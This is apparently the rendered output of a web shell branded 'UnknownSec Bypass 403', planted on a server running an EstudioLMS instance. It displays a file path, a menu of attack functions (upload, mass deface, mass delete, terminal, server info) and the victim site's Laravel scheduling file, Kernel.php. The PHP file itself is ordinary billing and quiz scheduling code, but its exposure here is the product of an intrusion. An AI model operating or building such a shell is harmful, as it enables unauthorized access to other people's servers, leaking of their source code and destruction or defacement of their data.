UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_f126d9138efe
/
app
/
Console
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
Kernel.php
<?php namespace EstudioLMS\Console; use EstudioLMS\Helpers\Helpers; use Illuminate\Console\Scheduling\Schedule; use Illuminate\Foundation\Console\Kernel as ConsoleKernel; use Illuminate\Support\Facades\Session; /** * Class Kernel * @package EstudioLMS\Console */ class Kernel extends ConsoleKernel { /** * The Artisan commands provided by your application. * * @var array */ protected $commands = [ 'EstudioLMS\Console\Commands\Inspire', 'EstudioLMS\Console\Commands\CheckStudentsOverdue', 'EstudioLMS\Console\Commands\SuspendedCommand', 'EstudioLMS\Console\Commands\ReactivatedCommand', 'EstudioLMS\Console\Commands\SetVideoDuration', 'EstudioLMS\Console\Commands\GenerateBoleto', 'EstudioLMS\Console\Commands\ProcessPostback', 'EstudioLMS\Console\Commands\RecurringCreditCard', 'EstudioLMS\Console\Commands\RecurringBoleto', 'EstudioLMS\Console\Commands\RecurringExpiredBoleto', 'EstudioLMS\Console\Commands\RecurringCanceled', 'EstudioLMS\Console\Commands\AdjustRecurrence', 'EstudioLMS\Console\Commands\CheckRecurrences', 'EstudioLMS\Console\Commands\VerifyRecurrences', 'EstudioLMS\Console\Commands\VerifyHirings', 'EstudioLMS\Console\Commands\PostProcessPostbacks', 'EstudioLMS\Console\Commands\AdjustQuizzReport', 'EstudioLMS\Console\Commands\RemoveRecordsWrongEntries', 'EstudioLMS\Console\Commands\AdjustQuizzReport', 'EstudioLMS\Console\Commands\ReleaseCertificatesBatch', ]; /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { if (!Helpers::checkIfSuspended() && in_array(\Session::get('planLimite.active'), [1, 3, 4, 5])) { $schedule->command('overdue:check')->cron('* * * * *'); // Verifica se há alunos com matrículas vencidas e suspende o acesso $schedule->command('generate:boleto')->cron('* * * * *'); //Gera Boletos Paghiper das parcelas em aberto à vencer com x dias de antecedência $schedule->command('recurring:canceled')->cron('* * * * *'); // Processa as recorrências das assinaturas canceladas $schedule->command('recurring:credit-card')->cron('* * * * *'); // Processa as recorrências das assinaturas com forma de pagamento cartão de crédito $schedule->command('recurring:boleto')->cron('* * * * *'); // Processa as recorrências das assinaturas com forma de pagamento boleto $schedule->command('recurring:expired-boleto')->cron('* * * * *'); // Processa as recorrências das assinaturas com forma de pagamento boleto expiradas $schedule->command('adjust-quizz-repo')->cron('* * * * *'); // Ajusta o relatório de quizzs $schedule->command('remove-records-wrong-entries')->cron('* * * * *'); // Remove registros com entradas erradas $schedule->command('adjust-quizz-repo')->cron('* * * * *'); // Ajusta o relatório de quizzs /** Específico para backup * Faz o backup sómente as segundas para os planos free. * Já os pagos, tem backup segundas, quartas e sextas. * Para todos os casos, a rotina de backup será invocada, quando o scheduler da instância for ativado. */ /*if(Session::get('planLimite.is_free')) { $schedule->command('backup:run')->cron('* * * * MON'); } else { $schedule->command('backup:run')->cron('* * * * MON,WED,FRI'); }*/ } } /** * checks, if a process with $needle in the name is running * * @param string $needle * @return bool */ protected function osProcessIsRunning($needle) { // get process status. the "-ww"-option is important to get the full output! exec('ps aux -ww', $process_status); // search $needle in process status $result = array_filter($process_status, function ($var) use ($needle) { return strpos($var, $needle); }); // if the result is not empty, the needle exists in running processes if (!empty($result)) { return true; } return false; } }
Copyright © 2026 - UnknownSec